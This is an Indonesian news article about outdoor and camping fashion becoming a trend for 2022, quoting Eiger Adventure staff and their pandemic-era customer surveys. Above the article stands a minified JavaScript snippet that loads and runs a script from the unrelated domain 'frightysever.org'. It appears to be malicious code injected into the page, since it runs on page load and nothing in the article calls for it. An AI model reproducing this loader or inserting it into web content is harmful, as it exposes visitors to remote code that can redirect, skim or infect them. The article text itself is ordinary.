(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Lifestyle

Outdoor Look Bakal Jadi Trend Fashion di 2022

KANALKALIMANTAN.COM – Berkegiatan luar ruang dan pergi ke alam bebas merupakan aktivitas self-healing yang mulai banyak dilakukan oleh masyarakat, apalagi di tengah pandemi. Selain itu, camping bersama keluarga juga menjadi pilihan kegiatan yang menjamur menjelang akhir tahun. Hal ini pun menjadikan fashion outdoor look semakin digemari.

Atribut yang biasa dipakai oleh para pecinta alam ataupun para pendaki gunung, seperti tas ransel hingga sandal gunung, kiwari telah bertransformasi menjadi item fashion yang digemari banyak orang.

Eiger Adventure, brand penyedia perlengkapan kegiatan di alam bebas yang telah berdiri sejak tahun 1989, mengungkapkan temuan bahwa selama 2021, aktivitas outdoor memang semakin meningkat.

Eiger yang kini merupakan trendsetter bagi fashion dan perlengkapan kegiatan outdoor di Tanah Air mengamati bahwa terjadi perubahan kebiasaan konsumen yang terjadi selama pandemi Covid-19.

Menurut Imam Ibrahim, Manager Customer Experience, Eiger Adventure, glamping kini semakin disukai. “Orang berkemah di alam di samping mobilnya, kini semakin digemari,” katanya saat konferensi pers secara daring dilansir Suara.com -jaringan Kanalkalimantan.com- Kamis (16/12/2021).

“Bahkan, tren camping ini kemudian meningkatkan penjualan produk berkemah Eiget pada 3 bulan terakhir di platform eCommerce yang berkontribusi sebesar 6% dari total penjualan. Artinya, kurang lebih 6.000 produk perlengkapan berkemah laku terjual selama 3 bulan ini,” tambah Riadi Suwarno, Marketing General Manager, Eiger Adventure.

Hasil survei Eiger dengan 3.000 responden selama masa pandemi juga mengungkapkan bahwa pada tiga sampai enam bulan terakhir, banyak konsumen Eiger yang justru baru mencoba kegiatan di alam bebas.

Sebanyak 49.8% responden survey yang merupakan konsumen Eiger, mengaku baru mulai mencoba kegiatan mendaki. Sehingga, dapat disimpulkan bahwa selama pandemi banyak bermunculan pendaki baru dan masyarakat dinilai mulai mempertimbangkan kegiatan outdoor.

Berkegiatan luar ruang ini menjadi aktivitas refreshing dan menghadirkan sebuah tren untuk melakukan self healing. Pandemi Covid-19 membuat masyarakat memilih rehat di alam terbuka yang mendukung, serta meningkatkan kesehatan mental orang pada saat lockdown.

Menurut survei yang dilakukan oleh tim Eiger pada bulan Mei 2020 lalu, terdapat lebih dari 40% responden menilai bahwa alam terbuka, satwa liar, dan mengunjungi ruang hijau penting untuk kesejahteraan dan kesehatan mental mereka.

Melihat perkembangan tersebut, Eiger bertekad untuk terus menghadirkan pengalaman konsumen yang lebih baik. Di tahun 2021, Eigerian dapat merasakan inovasi “Shop from Home”, program reseller serta Eiger Adventure Club yang dihadirkan oleh Eiger. Selain itu, Eiger juga terus mengembangkan konsep omnichannel experience yang memungkinkan konsumen tak perlu merasakan pengalaman berbelanja yang berbeda, baik melalui online maupun offline.

“Selama tahun 2021, kami berhasil membuka 50 toko street level di berbagai kabupaten di Indonesia. Hal ini kami lakukan untuk semakin memudahkan Eigerian untuk dapat mengakses produk-produk kami,” pungkas Riadi Suwarno. (Suara.com)

Editor : kk